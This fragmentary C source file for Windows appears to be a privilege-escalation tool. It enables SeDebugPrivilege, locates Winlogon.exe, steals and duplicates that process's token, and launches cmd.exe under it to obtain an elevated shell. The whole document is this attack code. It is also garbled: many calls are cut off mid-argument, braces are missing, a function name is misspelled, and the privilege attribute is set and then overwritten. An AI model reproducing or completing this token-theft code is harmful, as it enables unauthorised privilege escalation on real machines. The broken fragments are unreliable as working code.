BOOL SePrivTokenrivilege(
if (!LookupPrivilegeValue(
TOKEN_PRIVILEGES PrivToken;
PrivToken.PrivilegeCount = 1;
PrivToken.Privileges[0].Luid = luid;
PrivToken.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
PrivToken.Privileges[0].Attributes = 0;
if (!AdjustTokenPrivileges(
sizeof(TOKEN_PRIVILEGES),
DWORD FindProcessPID(const wchar_t* ProcessName) {
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 process = { 0 };
process.dwSize = sizeof(process);
if (Process32First(snapshot, &process)) {
if (!wcscmp((const wchar_t*)process.szExeFile,(const wchar_t*)ProcessName))
} while (Process32Next(snapshot, &process));
return process.th32ProcessID;
int main(int argc, char** argv) {
HANDLE hCurrentToken = NULL;
BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hCurrentToken);
SePrivTokenrivilege(hCurrentToken, L"SeDebugPrivilege", TRUE);
DWORD PID_TO_IMPERSONATE = FindProcessPID(L"Winlogon.exe");
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, true, PID_TO_IMPERSONATE);
BOOL TokenRet = OpenProcessToken(hProcess,
BOOL impersonateUser = ImpersonateLoggedOnUser(hToken);
if (GetLastError() == NULL)
BOOL dpToken = DuplicateTokenEx(hToken,
STARTUPINFO startupInfo = {0};
startupInfo.cb = sizeof(STARTUPINFO);
PROCESS_INFORMATION ProcessInfo = {0};
BOOL Ret = CreateProcessWithTokenW(hDpToken,
L"C:\\Windows\\System32\\cmd.exe",